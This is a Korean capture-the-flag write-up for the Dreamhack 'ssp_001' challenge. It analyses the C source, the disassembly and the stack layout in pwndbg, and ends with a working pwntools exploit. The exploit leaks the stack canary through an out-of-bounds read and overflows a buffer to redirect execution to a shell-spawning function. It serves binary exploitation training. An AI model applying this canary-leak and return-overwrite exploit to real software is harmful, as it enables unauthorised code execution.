[Dreamhack] ssp_001
ssp_001 문제 풀이
1. 취약점 확인
1. C 언어
먼저 checksec 명령어로 취약점을 확인해보자
$ checksec ssp_001
[*] '/workspaces/codespaces-blank/Dreamhack/ssp/ssp_001'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
x86 아키텍처에 카나리가 적용된 것을 확인할 수 있다.
이제 C코드를 확인해보자
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void get_shell() {
system("/bin/sh");
}
void print_box(unsigned char *box, int idx) {
printf("Element of index %d is : %02x\n", idx, box[idx]);
}
void menu() {
puts("[F]ill the box");
puts("[P]rint the box");
puts("[E]xit");
printf("> ");
}
int main(int argc, char *argv[]) {
unsigned char box[0x40] = {};
char name[0x40] = {};
char select[2] = {};
int idx = 0, name_len = 0;
initialize();
while(1) {
menu();
read(0, select, 2);
switch( select[0] ) {
case 'F':
printf("box input : ");
read(0, box, sizeof(box));
break;
case 'P':
printf("Element index : ");
scanf("%d", &idx);
print_box(box, idx);
break;
case 'E':
printf("Name Size : ");
scanf("%d", &name_len);
printf("Name : ");
read(0, name, name_len);
return 0;
default:
break;
}
}
}
F 를 입력하면 box 의 값을 입력 받는다
P 를 입력하면 print_box 함수로 해당 인덱스의 값을 출력한다
E 를 입력하면 name_len 으로 입력받을 크기를 먼저 입력 받는다.
그 다음 name 을 입력 받는다
void get_shell() {
system("/bin/sh");
}
셸을 실행할 수 있는 get_shell 함수가 있다.
void print_box(unsigned char *box, int idx) {
printf("Element of index %d is : %02x\n", idx, box[idx]);
}
box의 원하는 index 값을 출력해주는 print_box 함수가 있다
printf("Name Size : ");
scanf("%d", &name_len);
printf("Name : ");
read(0, name, name_len);
E 를 입력하고 난 뒤의 실행되는 부분이다.
name_len 에 0x40 이상을 입력하여 name 크기 이상을 입력 받을 수 있다.
→ BOF 가 발생한다.
2. 어셈블리 확인
1. 정적 디버깅
main 함수의 어셈블리를 확인해보자
0x0804872b <+0>: push ebp
0x0804872c <+1>: mov ebp,esp
0x0804872e <+3>: push edi
0x0804872f <+4>: sub esp,0x94
0x08048735 <+10>: mov eax,DWORD PTR [ebp+0xc]
0x08048738 <+13>: mov DWORD PTR [ebp-0x98],eax
0x0804873e <+19>: mov eax,gs:0x14
0x08048744 <+25>: mov DWORD PTR [ebp-0x8],eax
0x08048747 <+28>: xor eax,eax
0x08048749 <+30>: lea edx,[ebp-0x88] ; box = ebp-0x88
0x0804874f <+36>: mov eax,0x0
0x08048754 <+41>: mov ecx,0x10
0x08048759 <+46>: mov edi,edx
0x0804875b <+48>: rep stos DWORD PTR es:[edi],eax
0x0804875d <+50>: lea edx,[ebp-0x48] ; name = ebp-0x48
0x08048760 <+53>: mov eax,0x0
0x08048765 <+58>: mov ecx,0x10
0x0804876a <+63>: mov edi,edx
0x0804876c <+65>: rep stos DWORD PTR es:[edi],eax
0x0804876e <+67>: mov WORD PTR [ebp-0x8a],0x0
0x08048777 <+76>: mov DWORD PTR [ebp-0x94],0x0
0x08048781 <+86>: mov DWORD PTR [ebp-0x90],0x0
0x0804878b <+96>: call 0x8048672 <initialize>
0x08048790 <+101>: call 0x80486f1 <menu>
0x08048795 <+106>: push 0x2 ; 2
0x08048797 <+108>: lea eax,[ebp-0x8a] ; select = ebp-0x8a
0x0804879d <+114>: push eax ; select
0x0804879e <+115>: push 0x0 ; 0
0x080487a0 <+117>: call 0x80484a0 <read@plt> ; select(0, select, 2)
0x080487a5 <+122>: add esp,0xc
0x080487a8 <+125>: movzx eax,BYTE PTR [ebp-0x8a]
0x080487af <+132>: movsx eax,al
0x080487b2 <+135>: cmp eax,0x46 ; F
0x080487b5 <+138>: je 0x80487c6 <main+155>
0x080487b7 <+140>: cmp eax,0x50 ; P
0x080487ba <+143>: je 0x80487eb <main+192>
0x080487bc <+145>: cmp eax,0x45 ; E
0x080487bf <+148>: je 0x8048824 <main+249>
0x080487c1 <+150>: jmp 0x804887a <main+335>
0x080487c6 <+155>: push 0x804896c ; "box input : "
0x080487cb <+160>: call 0x80484b0 <printf@plt> ; printf("box input")
0x080487d0 <+165>: add esp,0x4
0x080487d3 <+168>: push 0x40 ; sizeof(box) 0x40
0x080487d5 <+170>: lea eax,[ebp-0x88] ; box = ebp-0x88
0x080487db <+176>: push eax ; box
0x080487dc <+177>: push 0x0 ; 0
0x080487de <+179>: call 0x80484a0 <read@plt> ; read(0, box, sizeof(box))
0x080487e3 <+184>: add esp,0xc
0x080487e6 <+187>: jmp 0x804887a <main+335>
0x080487eb <+192>: push 0x8048979 ; "Element index : "
0x080487f0 <+197>: call 0x80484b0 <printf@plt> ; printf("Element index : ")
0x080487f5 <+202>: add esp,0x4
0x080487f8 <+205>: lea eax,[ebp-0x94] ; idx = ebp-0x94
0x080487fe <+211>: push eax ; idx
0x080487ff <+212>: push 0x804898a ; %d
0x08048804 <+217>: call 0x8048540 <__isoc99_scanf@plt> ; scanf("%d", &idx)
0x08048809 <+222>: add esp,0x8
0x0804880c <+225>: mov eax,DWORD PTR [ebp-0x94] ; ebp-0x94 = idx
0x08048812 <+231>: push eax ; idx
0x08048813 <+232>: lea eax,[ebp-0x88] ; ebp-0x88 = box
0x08048819 <+238>: push eax ; box
0x0804881a <+239>: call 0x80486cc <print_box> ; print_box(box, idx)
0x0804881f <+244>: add esp,0x8
0x08048822 <+247>: jmp 0x804887a <main+335>
0x08048824 <+249>: push 0x804898d ; "Name Size : "
0x08048829 <+254>: call 0x80484b0 <printf@plt> ; printf("Name Size : ")
0x0804882e <+259>: add esp,0x4
0x08048831 <+262>: lea eax,[ebp-0x90] ; name_len = ebp-0x90
0x08048837 <+268>: push eax ; name_len
0x08048838 <+269>: push 0x804898a ; %d
0x0804883d <+274>: call 0x8048540 <__isoc99_scanf@plt> ; scanf("%d", &name_len)
0x08048842 <+279>: add esp,0x8
0x08048845 <+282>: push 0x804899a ; "Name : "
0x0804884a <+287>: call 0x80484b0 <printf@plt> ; printf("Name : ")
0x0804884f <+292>: add esp,0x4
0x08048852 <+295>: mov eax,DWORD PTR [ebp-0x90] ; ebp-0x90 = name_len
0x08048858 <+301>: push eax ; name_len
0x08048859 <+302>: lea eax,[ebp-0x48] ; ebp-0x48 = name
0x0804885c <+305>: push eax ; name
0x0804885d <+306>: push 0x0 ; 0
0x0804885f <+308>: call 0x80484a0 <read@plt> ; read(0, name, name_len)
0x08048864 <+313>: add esp,0xc
0x08048867 <+316>: mov eax,0x0
0x0804886c <+321>: mov edx,DWORD PTR [ebp-0x8]
0x0804886f <+324>: xor edx,DWORD PTR gs:0x14
0x08048876 <+331>: je 0x8048884 <main+345>
0x08048878 <+333>: jmp 0x804887f <main+340>
0x0804887a <+335>: jmp 0x8048790 <main+101>
0x0804887f <+340>: call 0x80484e0 <__stack_chk_fail@plt>
0x08048884 <+345>: mov edi,DWORD PTR [ebp-0x4]
0x08048887 <+348>: leave
0x08048888 <+349>: ret
- box = ebp - 0x88
- name = ebp - 0x48
- select = ebp - 0x8a
- idx = ebp - 0x94
- name_len = ebp - 0x90
0x08048735 <+10>: mov eax,DWORD PTR [ebp+0xc]
0x08048738 <+13>: mov DWORD PTR [ebp-0x98],eax
0x0804873e <+19>: mov eax,gs:0x14
0x08048744 <+25>: mov DWORD PTR [ebp-0x8],eax
0x08048747 <+28>: xor eax,eax
카나리값을 스택에 넣는 코드이다
32bit 이기 때문에 카나리 값은 4 byte 이다
카나리 값이 ebp - 0x4 에 들어가야 한다.
카나리 값이 ebp - 0x8 에 들어가고 있다.
동적디버깅으로 자세히 확인해보자.
2. 동적 디버깅
ebp 를 알아내기 위해 main +3 bp 를 걸고 실행한다
pwndbg> b *main +3
Breakpoint 1 at 0x804872c
pwndbg> r
0x804872c <main+1> mov ebp, esp
► 0x804872e <main+3> push edi <_GLOBAL_OFFSET_TABLE_>
0x804872f <main+4> sub esp, 0x94
0x8048735 <main+10> mov eax, dword ptr [ebp + 0xc]
pwndbg> p $ebp
$2 = (void *) 0xffffc3d8
- ebp = 0xffffc3d8
canary 값을 알아내기 위해 main +25 에 bp 를 걸고 실행한다
pwndbg> b *main +25
Breakpoint 2 at 0x8048744
pwndbg> c
Continuing.
0x8048738 <main+13> mov dword ptr [ebp - 0x98], eax
0x804873e <main+19> mov eax, dword ptr gs:[0x14]
► 0x8048744 <main+25> mov dword ptr [ebp - 8], eax
0x8048747 <main+28> xor eax, eax
0x8048749 <main+30> lea edx, [ebp - 0x88]
pwndbg> p /a $eax
$4 = 0x2d5add00
eax 값을 출력하면 카나리 값을 알아낼 수 있다
- canary = 0x2d5add00
canary 와 SFP 사이의 거리를 알아내기 위해 main +308 에 bp 를 걸고 실행한다
pwndbg> b *main +308
Breakpoint 3 at 0x804885f
pwndbg> c
Continuing.
[F]ill the box
[P]rint the box
[E]xit
> F
box input : aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
[F]ill the box
[P]rint the box
[E]xit
> [F]ill the box
[P]rint the box
[E]xit
> E
Name Size : 30
Name :
Breakpoint 3, 0x0804885f in main ()
► 0x804885f <main+308> call read@plt <read@plt>
fd: 0x0 (/dev/pts/1)
buf: 0xffffc390 ◂— 0x0
nbytes: 0x1e
0x8048864 <main+313> add esp, 0xc
0x8048867 <main+316> mov eax, 0
pwndbg>
F 를 입력하고 box 에 0x40, 64만큼의 dummy 값을 채워 box 와 name 을 확인할 수 있다.
E 에는 대충 아무값이나 입력하였다
스택을 확인해보자
pwndbg> x/80wx $esp
0xffffc334: 0x00000000 0xffffc390 0x0000001e 0xffffc474
0xffffc344: 0x00000000 0x0000001e 0x0a45b9f9 0x61616161
0xffffc354: 0x61616161 0x61616161 0x61616161 0x61616161
0xffffc364: 0x61616161 0x61616161 0x61616161 0x61616161
0xffffc374: 0x61616161 0x61616161 0x61616161 0x61616161
0xffffc384: 0x61616161 0x61616161 0x61616161 0x00000000
0xffffc394: 0x00000000 0x00000000 0x00000000 0x00000000
0xffffc3a4: 0x00000000 0x00000000 0x00000000 0x00000000
0xffffc3b4: 0x00000000 0x00000000 0x00000000 0x00000000
0xffffc3c4: 0x00000000 0x00000000 0x00000000 0x2d5add00 ;canary
0xffffc3d4: 0xf7fba000 0x00000000 ;SFP 0xf7de9ed5 ;RET 0x00000001
0xffffc3e4: 0xffffc474 0xffffc47c 0xffffc404 0xf7fba000
0xffffc3f4: 0x00000000 0xffffc458 0x00000000 0xf7ffd000
0xffffc404: 0x00000000 0xf7fba000 0xf7fba000 0x00000000
0xffffc414: 0xfc62f1d1 0xbed817c1 0x00000000 0x00000000
0xffffc424: 0x00000000 0x00000001 0x08048560 0x00000000
0xffffc434: 0xf7fe7ae4 0xf7fe22b0 0xf7ffd000 0x00000001
0xffffc444: 0x08048560 0x00000000 0x08048581 0x0804872b
0xffffc454: 0x00000001 0xffffc474 0x08048890 0x080488f0
0xffffc464: 0xf7fe22b0 0xffffc46c 0x0000001c 0x00000001
40xffffc350 부터 0xffffc38c 까지 값이 들어간 것을 확인할 수 있다.
- ebp = 0xffffc3d8
- canary = 0x2d5add00
canary 와 ebp 사이에 0xf7fba000 이라는 4byte dummy 값이 존재한다.
pwndbg> p get_shell
$1 = {<text variable, no debug info>} 0x80486b9 <get_shell>
get_shell 함수의 주소는 0x80486b9 이다
2. 스택 프레임
1. 스택 프레임 구조
box 와 name 의 크기는 각각 0x40이다
canary 와 SFP 사이에는 4byte dummy 값이 존재한다.
메뉴에서 F 를 입력하고
box 를 dummy 값으로 채운다
메뉴에서 P 를 입력하고
index 를 128, 129, 130, 131 를 입력하여
canary 값을 알아낸다.
메뉴에서 E 를 입력하고
name_len 을 0x50 (80) 보다 크게 입력한다
name 에 0x40 (64)만큼 dummy 값을 입력하고
알아낸 canary 를 이용하여 덮어씌운다.
SFP 까지 8byte 만큼 dummy 값을 입력하고
RET 에 알아낸 get_shell() 함수의 주소를 입력하면 셸을 얻을 수 있을 것이다.
3. 페이로드 (Payload)
1. pwntools 코드 작성
from pwn import *
context.log_level='debug'
context(arch='i386', os = 'linux')
p = remote('host3.dreamhack.games', 14073)
p.recvuntil('> ')
p.send('F')
p.recvuntil('box input : ')
p.send(b'A' * 0x40)
canary_leak = ''
for i in range(128, 132) :
p.recvuntil('> ')
p.send('P')
p.recvuntil('Element index : ')
p.sendline(str(i))
p.recvuntil('is : ')
canary_leak = canary_leak + chr(int(p.recvn(2), 16))
canary = u32(canary_leak)
print('canary : {}'.format(hex(canary)))
p.recvuntil('> ')
p.send('E')
p.recvuntil('Name Size : ')
p.sendline(str(100))
p.recvuntil('Name : ')
get_shell = 0x80486b9
payload = b'A' * 0x40
payload += p32(canary)
payload += b'A' * 8
payload += p32(get_shell)
p.send(payload)
p.interactive()
pwntools 로 코드를 작성하였다.
코드를 작성해야 할 때 주의해야 할 점이 있다.
p.sendline(str(i))
이런식으로 자료형을 바꿔서 보낼 때는 sendline 으로 보내야
정상적으로 값이 보내진다.
canary_leak = canary_leak + chr(int(p.recvn(2), 16))
문자열끼리 더해야 하기 때문에 카나리 값을 16진수 int형으로 바꾸고
다시 문자형으로 바꿔주어야 정상적으로 더해진다.
위와 같이 코드를 작성하고 실행하면
$ python3 ./payload.py
$ id
uid=1000(ssp_001) gid=1000(ssp_001) groups=1000(ssp_001)
$ ls
flag
run.sh
ssp_001
$ cat flag
DH{-------------------------------}
플래그를 획득할 수 있다